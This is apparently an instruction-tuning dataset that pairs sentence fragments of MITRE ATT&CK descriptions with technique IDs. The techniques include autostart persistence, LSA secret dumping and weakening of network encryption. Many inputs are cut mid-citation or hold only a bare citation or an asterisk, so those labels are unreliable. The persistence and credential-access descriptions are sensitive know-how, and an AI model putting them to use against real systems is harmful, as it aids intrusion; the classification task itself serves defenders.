`.desktop` files located in the XDG Autostart directories are automatically executed.", "output": "T1547.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the user\u2019s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. ### Response: T1547.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.", "output": "T1547.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory. ### Response: T1547.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022)", "output": "T1547.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022) ### Response: T1547.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse time providers to execute DLLs when the system boots.", "output": "T1547.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse time providers to execute DLLs when the system boots. ### Response: T1547.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation:", "output": "T1547.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: ### Response: T1547.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft W32Time Feb 2018)", "output": "T1547.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft W32Time Feb 2018) ### Response: T1547.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of  <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\</code>.(Citation:", "output": "T1547.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of  <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\</code>.(Citation: ### Response: T1547.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft TimeProvider)", "output": "T1547.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft TimeProvider) ### Response: T1547.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)", "output": "T1547.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider) ### Response: T1547.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider.", "output": "T1547.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. ### Response: T1547.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation:", "output": "T1547.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: ### Response: T1547.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Github W32Time Oct 2017)", "output": "T1547.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Github W32Time Oct 2017) ### Response: T1547.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse authentication packages to execute DLLs when the system boots.", "output": "T1547.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse authentication packages to execute DLLs when the system boots. ### Response: T1547.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start.", "output": "T1547.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. ### Response: T1547.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)", "output": "T1547.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages) ### Response: T1547.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=&lt;target binary&gt;</code>.", "output": "T1547.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=&lt;target binary&gt;</code>. ### Response: T1547.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The binary will then be executed by the system when the authentication packages are loaded.", "output": "T1547.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The binary will then be executed by the system when the authentication packages are loaded. ### Response: T1547.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.", "output": "T1547.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. ### Response: T1547.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A port monitor can be set through the <code>AddMonitor</code>", "output": "T1547.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A port monitor can be set through the <code>AddMonitor</code> ### Response: T1547.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "API call to set a DLL to be loaded at startup.(Citation: AddMonitor)", "output": "T1547.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: API call to set a DLL to be loaded at startup.(Citation: AddMonitor) ### Response: T1547.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot.", "output": "T1547.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. ### Response: T1547.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham)", "output": "T1547.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) ### Response: T1547.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.", "output": "T1547.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. ### Response: T1547.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Registry key contains entries for the following:", "output": "T1547.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Registry key contains entries for the following: ### Response: T1547.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1547.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1547.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.", "output": "T1547.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM. ### Response: T1547.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation:", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may achieve the same goal by modifying or extending features of the kernel.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may achieve the same goal by modifying or extending features of the kernel. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additional custom tools likely exist as well.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additional custom tools likely exist as well. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation:", "output": "T1003.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: ### Response: T1003.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets</code>.", "output": "T1003.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets</code>. ### Response: T1003.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)", "output": "T1003.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets) ### Response: T1003.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry.", "output": "T1003.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. ### Response: T1003.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)", "output": "T1003.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets) ### Response: T1003.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A port monitor can be set through the  (Citation: AddMonitor)", "output": "T1013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A port monitor can be set through the  (Citation: AddMonitor) ### Response: T1013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "API call to set a DLL to be loaded at startup.", "output": "T1013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: API call to set a DLL to be loaded at startup. ### Response: T1013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: AddMonitor)", "output": "T1013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: AddMonitor) ### Response: T1013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot.", "output": "T1013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. ### Response: T1013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The spoolsv.exe process also runs under SYSTEM level permissions.", "output": "T1013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The spoolsv.exe process also runs under SYSTEM level permissions. ### Response: T1013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Bloxham)", "output": "T1013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Bloxham) ### Response: T1013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.", "output": "T1013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. ### Response: T1013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Registry key contains entries for the following:", "output": "T1013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Registry key contains entries for the following: ### Response: T1013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.", "output": "T1013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM. ### Response: T1013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)", "output": "T1600.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution) ### Response: T1600.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes).", "output": "T1600.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). ### Response: T1600.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.", "output": "T1600.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key. ### Response: T1600.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device.", "output": "T1600.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. ### Response: T1600.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cisco Blog Legacy Device Attacks)", "output": "T1600.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cisco Blog Legacy Device Attacks) ### Response: T1600.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries disable a network device\u2019s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.", "output": "T1600.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries disable a network device\u2019s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data. ### Response: T1600.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks.", "output": "T1600.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. ### Response: T1600.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering.", "output": "T1600.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. ### Response: T1600.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors.", "output": "T1600.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. ### Response: T1600.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)).", "output": "T1600.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). ### Response: T1600.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cisco Blog Legacy Device Attacks)", "output": "T1600.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cisco Blog Legacy Device Attacks) ### Response: T1600.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise a network device\u2019s encryption capability in order to bypass encryption that would otherwise protect data communications.", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise a network device\u2019s encryption capability in order to bypass encryption that would otherwise protect data communications. ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes).", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key.", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, longer keys increase the cost of cryptanalysis, or decryption without the key. ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can compromise and manipulate devices that perform encryption of network traffic.", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can compromise and manipulate devices that perform encryption of network traffic. ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device\u2019s ability to securely encrypt network traffic.", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device\u2019s ability to securely encrypt network traffic. ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts.", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cisco Blog Legacy Device Attacks)", "output": "T1600", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cisco Blog Legacy Device Attacks) ### Response: T1600."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services.", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that 